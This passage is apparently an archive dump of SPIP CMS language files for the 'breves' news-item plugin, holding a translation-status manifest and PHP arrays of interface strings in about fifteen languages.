<langue code="nb" url="http://trad.spip.net/tradlang_module/breves?lang_cible=nb" total="29" traduits="12" relire="0" modifs="3" nouveaux="14" pourcent="41.38">
</langue>
<langue code="ne" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ne" total="29" traduits="7" relire="0" modifs="1" nouveaux="21" pourcent="24.14">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/breves?lang_cible=nl" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_auv" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_gsc" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_lms" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_lnc" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_ni" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_ni_la" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_prv" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/breves?lang_cible=oc_va" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/breves?lang_cible=pl" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/breves?lang_cible=pt" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/breves?lang_cible=pt_br" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="rn" url="http://trad.spip.net/tradlang_module/breves?lang_cible=rn" total="29" traduits="6" relire="0" modifs="0" nouveaux="23" pourcent="20.69">
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ro" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="roa" url="http://trad.spip.net/tradlang_module/breves?lang_cible=roa" total="29" traduits="8" relire="0" modifs="7" nouveaux="14" pourcent="27.59">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ru" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sc" url="http://trad.spip.net/tradlang_module/breves?lang_cible=sc" total="29" traduits="6" relire="0" modifs="1" nouveaux="22" pourcent="20.69">
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/breves?lang_cible=sk" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sq" url="http://trad.spip.net/tradlang_module/breves?lang_cible=sq" total="29" traduits="8" relire="0" modifs="1" nouveaux="20" pourcent="27.59">
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/breves?lang_cible=sv" total="29" traduits="17" relire="0" modifs="7" nouveaux="5" pourcent="58.62">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/breves?lang_cible=tr" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="uk" url="http://trad.spip.net/tradlang_module/breves?lang_cible=uk" total="29" traduits="6" relire="0" modifs="1" nouveaux="22" pourcent="20.69">
<traducteur nom="Retenodus" lien="http://trad.spip.net/auteur/retenodus" />
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/breves?lang_cible=vi" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="wo" url="http://trad.spip.net/tradlang_module/breves?lang_cible=wo" total="29" traduits="7" relire="0" modifs="1" nouveaux="21" pourcent="24.14">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/breves?lang_cible=zh" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
</traduction>
breves_km.php 0000666 00000005620 15252255245 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'ពត៌មានសង្ខេប',
// E
'entree_breve_publiee' => 'ពត៌មានសង្ខេបនេះ ត្រូវតែបានផ្សព្វផ្សាយ ឬ?', # MODIF
'entree_texte_breve' => 'អត្ថបទ នៃពត៌មានសង្ខេប',
// I
'icone_breves' => 'ពត៌មានសង្ខេប',
'icone_ecrire_nouvel_article' => 'ពត៌មានខ្លីបានផ្ទុក ក្នុងផ្នែកនេះ ',
'icone_modifier_breve' => 'កែប្រែ ពត៌មានខ្លីនេះ',
'icone_nouvelle_breve' => 'សរសេរ មួយពត៌មានសង្ខេប ថ្មី',
'info_1_breve' => '១ ខ្ទង់ពត៌មាន',
'info_breves' => 'សៃថ៍ របស់អ្នក ប្រើប្រាស់ ប្រព័ន្ធពត៌មានខ្លី ឬ ?',
'info_breves_02' => 'ពត៌មានសង្ខេប',
'info_breves_valider' => 'ពត៌មានសង្ខេប ត្រូវធ្វើអោយសុពលភាព',
'info_gauche_numero_breve' => 'លេខដំណឹង', # MODIF
'item_breve_proposee' => 'បានស្នើ ពត៌មានសង្ខេប', # MODIF
'item_breve_refusee' => 'ទេ - ខ្ទង់ដំណឹង ត្រូវបានបដិសេធ', # MODIF
'item_breve_validee' => 'បាទ/ចាស - ខ្ទង់ដំណឹង មានសុពលភាព', # MODIF
'item_non_utiliser_breves' => 'កុំប្រើប្រាស់ ដំណឹង',
'item_utiliser_breves' => 'ប្រើប្រាស់ ដំណឹង',
// L
'logo_breve' => 'រូបសញ្ញា នៃខ្ទង់ដំណឹង', # MODIF
// T
'texte_breves' => 'ពត៌មានខ្លី ជាអត្ថបទ ខ្លី និង សាមញ្ញ អនុញ្ញាត
បោះផ្សាយរហ័ស លើអិនរើណែត ពត៌មានសង្ខេប, គ្រប់គ្រង មួយព្រឹត្តិបត្រពត៌មាន, មួយប្រក្រតីទិន។',
'titre_breve_proposee' => 'បានស្នើ ពត៌មានសង្ខេប',
'titre_breve_publiee' => 'បានផ្សព្វផ្សាយ ពត៌មានសង្ខេប',
'titre_breve_refusee' => 'បានបដិសេធ ពត៌មានសង្ខេប',
'titre_breves' => 'ដំណឹង',
'titre_langue_breve' => 'ភាសា នៃខ្ទង់ដំណឹង', # MODIF
'titre_page_breves' => 'ដំណឹង'
);
?>
breves_fr_tu.php 0000666 00000003371 15252255245 0007761 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève',
'breves' => 'Brèves',
// E
'entree_breve_publiee' => 'Cette brève est :',
'entree_texte_breve' => 'Texte de la brève',
// I
'icone_breves' => 'Brèves',
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique',
'icone_modifier_breve' => 'Modifier cette brève',
'icone_nouvelle_breve' => 'Écrire une nouvelle brève',
'info_1_breve' => '1 brève',
'info_aucun_breve' => 'Aucune brève',
'info_breves' => 'Ton site utilise-t-il le système de brèves ?',
'info_breves_02' => 'Brèves',
'info_breves_valider' => 'Brèves à valider',
'info_gauche_numero_breve' => 'Brève numéro',
'info_nb_breves' => '@nb@ brèves',
'item_breve_proposee' => 'proposée à l’évaluation',
'item_breve_refusee' => 'refusée',
'item_breve_validee' => 'validée',
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves',
'item_utiliser_breves' => 'Utiliser les brèves',
// L
'logo_breve' => 'Logo de la brève',
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de mettre en ligne rapidement des informations concises, de gérer une revue de presse, un calendrier d’événements...',
'titre_breve_proposee' => 'Brève proposée',
'titre_breve_publiee' => 'Brève publiée',
'titre_breve_refusee' => 'Brève refusée',
'titre_breves' => 'Les brèves',
'titre_langue_breve' => 'Langue de la brève',
'titre_nouvelle_breve' => 'Nouvelle brève',
'titre_page_breves' => 'Brèves'
);
?>
paquet-breves_eo.php 0000666 00000000702 15252255245 0010535 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'La fulm-informoj estas mallongaj enhavo, sen aŭtoro.',
'breves_slogan' => 'Mastrumado de fulm-informoj en SPIP'
);
?>
breves_ar.php 0000666 00000003521 15252255245 0007241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'خبر',
'breves' => 'الأخبار',
// E
'entree_breve_publiee' => 'هذا الخبر:',
'entree_texte_breve' => 'مادة الخبر',
// I
'icone_breves' => 'الأخبار',
'icone_ecrire_nouvel_article' => 'الأخبار الموجودة في هذا القسم',
'icone_modifier_breve' => 'تعديل هذا الخبر',
'icone_nouvelle_breve' => 'كتابة خبر جديد',
'info_1_breve' => 'خبر واحد',
'info_aucun_breve' => 'لا خبر',
'info_breves' => 'هل يستخدم موقعك نظام الأخبار؟',
'info_breves_02' => 'الأخبار',
'info_breves_valider' => 'أخبار قيد التصديق',
'info_gauche_numero_breve' => 'خبر رقم',
'info_nb_breves' => '@nb@ خبر',
'item_breve_proposee' => 'خبر مقترح',
'item_breve_refusee' => 'خبر مرفوض',
'item_breve_validee' => 'خبر مصدّق',
'item_non_utiliser_breves' => 'عدم استخدام الأخبار',
'item_utiliser_breves' => 'إستخدام الأخبار',
// L
'logo_breve' => 'شعار الخبر',
// T
'texte_breves' => 'الأخيار هي نصوص قصيرة تسمح
بنشر معلومات سريعة ومقتضبة، إدارة
نشرة أخبار او روزنامة أحداث...',
'titre_breve_proposee' => 'خبر مقترح',
'titre_breve_publiee' => 'خبر منشور',
'titre_breve_refusee' => 'خبر مرفوض',
'titre_breves' => 'الأخبار',
'titre_langue_breve' => 'لغة الخبر',
'titre_nouvelle_breve' => 'خبر جديد',
'titre_page_breves' => 'الأخبار'
);
?>
paquet-breves_es.php 0000666 00000000666 15252255245 0010552 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Los breves son informaciones cortas sin autor.',
'breves_slogan' => 'Gestión de los breves en SPIP'
);
?>
breves_lt.php 0000666 00000002171 15252255245 0007256 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=lt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Nauji straipsniai',
// E
'entree_texte_breve' => 'Santraukos tekstas',
// I
'icone_breves' => 'Santraukos',
'icone_ecrire_nouvel_article' => 'Santraukos esančios šioje rubrikoje',
'icone_modifier_breve' => 'Redaguoti šią santrauką',
'icone_nouvelle_breve' => 'Sukurti naują santrauką',
'info_1_breve' => '1 santrauka',
'info_breves' => 'Ar jūsų svetainė naudoja santraukų sistemą?',
'info_breves_02' => 'Santraukos',
'info_breves_valider' => 'Santraukos patvirtinimui',
'info_gauche_numero_breve' => 'SANTRAUKOS NUMERIS', # MODIF
'item_breve_validee' => 'TAIP - Santrauka patvirtinta', # MODIF
// L
'logo_breve' => 'SANTRAUKOS LOGO', # MODIF
// T
'titre_breve_proposee' => 'Pasiūlyta santrauka',
'titre_breve_publiee' => 'Publikuojama santrauka',
'titre_breve_refusee' => 'Atmesta santrauka'
);
?>
paquet-breves_fr_fem.php 0000666 00000000703 15252255245 0011371 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Les brèves sont des informations courtes, sans auteure.',
'breves_slogan' => 'Gestion des brèves dans SPIP'
);
?>
breves_en.php 0000666 00000003177 15252255245 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'News item',
'breves' => 'News items',
// E
'entree_breve_publiee' => 'This news item is:',
'entree_texte_breve' => 'Text of news item',
// I
'icone_breves' => 'News',
'icone_ecrire_nouvel_article' => 'News items in this section',
'icone_modifier_breve' => 'Edit this news item',
'icone_nouvelle_breve' => 'Create a news item',
'info_1_breve' => '1 news item',
'info_aucun_breve' => 'No news items',
'info_breves' => 'Does your site use news items?',
'info_breves_02' => 'News',
'info_breves_valider' => 'News items awaiting validation',
'info_gauche_numero_breve' => 'News item number',
'info_nb_breves' => '@nb@ news items',
'item_breve_proposee' => 'submitted',
'item_breve_refusee' => 'rejected',
'item_breve_validee' => 'validated',
'item_non_utiliser_breves' => 'Do not use news items',
'item_utiliser_breves' => 'Use news items',
// L
'logo_breve' => 'News item logo',
// T
'texte_breves' => 'News items are brief messages which allow the publication of
news flashes, managing of press reviews, an events calendar etc.',
'titre_breve_proposee' => 'News proposed',
'titre_breve_publiee' => 'News item published',
'titre_breve_refusee' => 'News item rejected',
'titre_breves' => 'News',
'titre_langue_breve' => 'News item language',
'titre_nouvelle_breve' => 'New news item',
'titre_page_breves' => 'News'
);
?>
breves_lb.php 0000666 00000003533 15252255245 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Kuerzmeldung',
'breves' => 'Kuerzmeldungen',
// E
'entree_breve_publiee' => 'Dës Kuerzmeldung ass:',
'entree_texte_breve' => 'Text vun der Kuerzmeldung',
// I
'icone_breves' => 'Kuerzmeldungen',
'icone_ecrire_nouvel_article' => 'Kuerzmeldungen aus dëser Rubrik',
'icone_modifier_breve' => 'Dës Kuerzmeldung änneren',
'icone_nouvelle_breve' => 'Nei Kuerzmeldung schreiwen',
'info_1_breve' => '1 Kuerzmeldung',
'info_aucun_breve' => 'Keng Kuerzmeldung',
'info_breves' => 'Benotzt äre Site de Kuerzmeldungs-System?',
'info_breves_02' => 'Kuerzmeldungen',
'info_breves_valider' => 'Kuerzmeldunge fir ze bestätegen',
'info_gauche_numero_breve' => 'Kuerzmeldung Nummer',
'info_nb_breves' => '@nb@ Kuerzmeldungen',
'item_breve_proposee' => 'virgeschloen',
'item_breve_refusee' => 'ofgeleent',
'item_breve_validee' => 'bestätegt',
'item_non_utiliser_breves' => 'D’Kuerzmeldungen ausschalten',
'item_utiliser_breves' => 'D’Kuerzmeldungen aschalten',
// L
'logo_breve' => 'Logo vun der Kuerzmeldung',
// T
'texte_breves' => 'D’Kuerzmeldunge si kuerz an einfach Texter déi Iech erlaben Informatiounen séier ze verëffentlechen, eng Presse-Revue ze maachen, en Agenda ze weisen...',
'titre_breve_proposee' => 'Virgeschloe Kuerzmeldung',
'titre_breve_publiee' => 'Verëffentlecht Kuerzmeldung',
'titre_breve_refusee' => 'Ofgeleente Kuerzmeldung',
'titre_breves' => 'D’Kuerzmeldungen',
'titre_langue_breve' => 'Sprooch vun der Kuerzmeldung',
'titre_nouvelle_breve' => 'Nei Kuerzmeldung',
'titre_page_breves' => 'Kuerzmeldungen'
);
?>
breves_fon.php 0000666 00000003342 15252255245 0007422 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Xogbè kléwun',
// E
'entree_breve_publiee' => 'mī ɖɔ dó xàsádómɛ à', # MODIF
'entree_texte_breve' => 'wěmá kléwun',
// I
'icone_breves' => 'xó kléwún ',
'icone_ecrire_nouvel_article' => 'xó kléwún ɖé lò àkpáxwé é lɔ mɛ ɔ',
'icone_modifier_breve' => 'mi vɔ ɖyɔ xókléwún',
'icone_nouvelle_breve' => 'mi vɔ xó kléwún ɖêvó wlán',
'info_1_breve' => 'xó kléwún ɖòkpó',
'info_breves' => 'gblogblojí mi tɔn nɔ yí xó kléwún á?',
'info_breves_02' => 'xó kléwún lɛ',
'info_breves_valider' => 'xó kléwún ê nà sɔkɛná',
'info_gauche_numero_breve' => 'xó kléwûn nùmɛló', # MODIF
'item_breve_proposee' => 'ɖɔ xó kléwún', # MODIF
'item_breve_refusee' => 'Éwó - yé gbɛ xó kléwún', # MODIF
'item_breve_validee' => 'Núgbó wɛ - yé sɔ kɛn nu xó kléwún', # MODIF
'item_non_utiliser_breves' => 'mi má zán xókléwún lɛ',
'item_utiliser_breves' => 'mi zán xó kléwún lɛ',
// L
'logo_breve' => 'sɔsí xó kléwún ɔ tɔn', # MODIF
// T
'texte_breves' => 'bɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛ...',
'titre_breve_proposee' => 'xó kléwún yé sɔ jó',
'titre_breve_publiee' => 'xó kléwún yé sɔ xlɛ',
'titre_breve_refusee' => 'xó kléwún yê gbɛ ɔ ',
'titre_breves' => 'xó kléwún ',
'titre_langue_breve' => 'Gbèzán xó kléwún ɔ tɔn', # MODIF
'titre_page_breves' => 'xó kléwún lɛ'
);
?>
breves_ru.php 0000666 00000004130 15252255245 0007262 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Новость',
'breves' => 'Новости',
// E
'entree_breve_publiee' => 'Новость:',
'entree_texte_breve' => 'Текст новости',
// I
'icone_breves' => 'Новости',
'icone_ecrire_nouvel_article' => 'Новости в разделе',
'icone_modifier_breve' => 'Изменить новость',
'icone_nouvelle_breve' => 'Новая новость',
'info_1_breve' => '1 новость',
'info_aucun_breve' => 'Новостей нет',
'info_breves' => 'Использовать модуль новостей?',
'info_breves_02' => 'Новости',
'info_breves_valider' => 'Новости на утверждении',
'info_gauche_numero_breve' => 'НОМЕР НОВОСТИ',
'info_nb_breves' => '@nb@ новостей',
'item_breve_proposee' => 'предложена',
'item_breve_refusee' => 'не опубликована',
'item_breve_validee' => 'опубликована ',
'item_non_utiliser_breves' => 'Не использовать новости',
'item_utiliser_breves' => 'Использовать новости',
// L
'logo_breve' => 'Логотип новости',
// T
'texte_breves' => 'Новости - короткие и простые тексты, которые используют
онлайн публикацию сжатой информации, управляют
обзором прессы, календарем событий...',
'titre_breve_proposee' => 'Новости отправлены',
'titre_breve_publiee' => 'Новости опубликованы',
'titre_breve_refusee' => 'Новости отклонены',
'titre_breves' => 'Новости',
'titre_langue_breve' => 'Язык новости',
'titre_nouvelle_breve' => 'Название новости',
'titre_page_breves' => 'Новости'
);
?>
breves_vi.php 0000666 00000003464 15252255245 0007263 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Tin ngắn',
// E
'entree_breve_publiee' => 'Đăng tải tin ngắn này không?', # MODIF
'entree_texte_breve' => 'Nội dung tin ngắn',
// I
'icone_breves' => 'Tin ngắn',
'icone_ecrire_nouvel_article' => 'Tin ngắn trong đề mục này',
'icone_modifier_breve' => 'Sửa tin ngắn này',
'icone_nouvelle_breve' => 'Viết một tin ngắn mới',
'info_1_breve' => '1 bản tin ngắn',
'info_breves' => 'Trang web của bạn có sử dụng hệ thống tin ngắn không?',
'info_breves_02' => 'Tin ngắn',
'info_breves_valider' => 'Những tin ngắn chờ thông qua',
'info_gauche_numero_breve' => 'SỐ THỨ TỰ TIN NGẮN', # MODIF
'item_breve_proposee' => 'Nộp vào', # MODIF
'item_breve_refusee' => 'TỪ CHỐI - không đăng', # MODIF
'item_breve_validee' => 'CHẤP THUẬN đăng tải', # MODIF
'item_non_utiliser_breves' => 'Không dùng tin ngắn',
'item_utiliser_breves' => 'Dùng tin ngắn',
// L
'logo_breve' => 'LOGO CỦA TIN NGẮN', # MODIF
// T
'texte_breves' => 'Tin ngắn là đoạn văn ngắn gọn đơn giản để có thể thông báo online các chi tiết cô đọng, quản trị các thông cáo báo chí, lịch trình sự việc ...',
'titre_breve_proposee' => 'Tin ngắn đã nộp',
'titre_breve_publiee' => 'Tin ngắn đã đăng tải',
'titre_breve_refusee' => 'Tin ngắn bị từ chối',
'titre_breves' => 'Tin ngắn',
'titre_langue_breve' => 'NGÔN NGỮ CỦA TIN NGẮN', # MODIF
'titre_page_breves' => 'Tin ngắn'
);
?>
paquet-breves_fr.php 0000666 00000000627 15252255245 0010547 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/breves/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Les brèves sont des informations courtes, sans auteur.',
'breves_slogan' => 'Gestion des brèves dans SPIP'
);
?>
breves_fa.php 0000666 00000004414 15252255245 0007227 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'خبر',
'breves' => 'خبرها يا مقاله هاى كوتاه',
// E
'entree_breve_publiee' => 'اين خبر : ',
'entree_texte_breve' => 'متن مقاله كوتاه',
// I
'icone_breves' => 'مقالات كوتاه',
'icone_ecrire_nouvel_article' => 'مقاله هاى كوتاه موجود در اين بخش',
'icone_modifier_breve' => 'اين مقاله كوتاه را اصلاح كنيد',
'icone_nouvelle_breve' => 'يك مقاله كوتاه بنويسيد',
'info_1_breve' => '١ مقاله كوتاه',
'info_aucun_breve' => 'هيچ خبري موجود نيست',
'info_breves' => 'آيا سايت شما از سيستم مقاله هاى كوتاه استفاده ميكند ؟',
'info_breves_02' => 'مقاله هاى كوتاه',
'info_breves_valider' => 'مقاله هاى كوتاه براى تأئيد',
'info_gauche_numero_breve' => 'خبر شماره',
'info_nb_breves' => '@nb@ خبر',
'item_breve_proposee' => 'براي ارزيابي پيشنهاد شده',
'item_breve_refusee' => 'رد شده',
'item_breve_validee' => 'تأييد شده',
'item_non_utiliser_breves' => 'از مقالات كوتاه استفاده نكنيد',
'item_utiliser_breves' => 'از مقالات كوتاه استفاده كنيد',
// L
'logo_breve' => 'لوگوي خبر',
// T
'texte_breves' => 'مقالات كوتاه متن هاى ساده اى هستد كه ميتوان سريعا برروى سايت قرار گيرند و غالبا براى اطلاعات فشرده، اداره مجلات و سالنماى وقايع استفاده ميشوند',
'titre_breve_proposee' => 'مقاله كوتاه پيشنهادى',
'titre_breve_publiee' => 'مقاله كوتاه منتشر شده',
'titre_breve_refusee' => 'مقاله كوتاه پذيرفته نشده',
'titre_breves' => 'مقالات كوتاه',
'titre_langue_breve' => 'زبان خبر',
'titre_nouvelle_breve' => 'خبر جديد ',
'titre_page_breves' => 'مقالات كوتاه'
);
?>
breves_bs.php 0000666 00000003407 15252255245 0007246 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Kratke poruke',
// E
'entree_breve_publiee' => 'Da li zelite publicirati ovu kratku poruku?', # MODIF
'entree_texte_breve' => 'Tekst kratke poruke',
// I
'icone_breves' => 'Obavjestenja',
'icone_ecrire_nouvel_article' => 'Kratke poruke sadrzane u ovoj rubrici',
'icone_modifier_breve' => 'Izmijeni ovu kratku poruku',
'icone_nouvelle_breve' => 'Napisi novo obavjestenje',
'info_1_breve' => '1. kratka poruka',
'info_breves' => 'Da li vasa stranica upotrebljava sistem kratkih poruka?',
'info_breves_02' => 'Obavjestenja',
'info_breves_valider' => 'Obavjestenja za ovjeriti',
'info_gauche_numero_breve' => 'BROJ KRATKE PORUKE', # MODIF
'item_breve_proposee' => 'Predlozena obavjestenja', # MODIF
'item_breve_refusee' => 'NE - Kratka poruka odbijena', # MODIF
'item_breve_validee' => 'DA - Kratka poruka ovjerena', # MODIF
'item_non_utiliser_breves' => 'Ne koristiti kratke poruke',
'item_utiliser_breves' => 'Koristi kratke poruke',
// L
'logo_breve' => 'LOGOTIP KRATKE PORUKE', # MODIF
// T
'texte_breves' => 'Kratke poruke su kratki i jednostavni tekstovi, koji dozvoljavaju brzo postavljanje preciznih informacija, obradjivanje casopisa, kalendara dogadjaja...',
'titre_breve_proposee' => 'Predlozeno obavjestenje',
'titre_breve_publiee' => 'Obavjestenje objavljeno',
'titre_breve_refusee' => 'Obavjestenje odbijeno',
'titre_breves' => 'Kratke poruke',
'titre_langue_breve' => 'JEZIK KRATKE PORUKE', # MODIF
'titre_page_breves' => 'Kratke poruke'
);
?>
breves_uk.php 0000666 00000001556 15252255245 0007264 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=uk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// E
'entree_breve_publiee' => 'Цей коротка новина повинна бути опублікована?', # MODIF
'entree_texte_breve' => 'Текст короткої новини',
// I
'icone_ecrire_nouvel_article' => 'Зміст новин у цій рубриці',
'icone_modifier_breve' => 'Змінити ці короткі новини',
'info_1_breve' => '1 коротка новина',
'info_aucun_breve' => 'Ніякої короткої новини',
'info_breves' => 'Чи використовує ваш сайт систему новин?'
);
?>
breves_he.php 0000666 00000002762 15252255245 0007241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'بابەتە هەۋاڵ',
'breves' => 'מבזקים',
// E
'entree_breve_publiee' => 'האם מבזק זה צריך להתפרסם ?', # MODIF
'entree_texte_breve' => 'טקסט של המבזק',
// I
'icone_breves' => 'מבזקים',
'icone_ecrire_nouvel_article' => 'מבזקים במדור',
'icone_modifier_breve' => 'תיקון המבזק',
'icone_nouvelle_breve' => 'כתוב מבזק חדש',
'info_1_breve' => '1 מבזק',
'info_breves' => 'האם אתרך משתמש במערכת המבזקים ?',
'info_breves_02' => 'מבזקים',
'info_breves_valider' => 'לתת תוקף למבזקים האלה',
'info_gauche_numero_breve' => 'מבזק מספר', # MODIF
'item_breve_proposee' => 'מבזק מוצע', # MODIF
'item_breve_refusee' => 'לא - מבזק דחוי', # MODIF
'item_breve_validee' => 'כן - מבזק מאושר', # MODIF
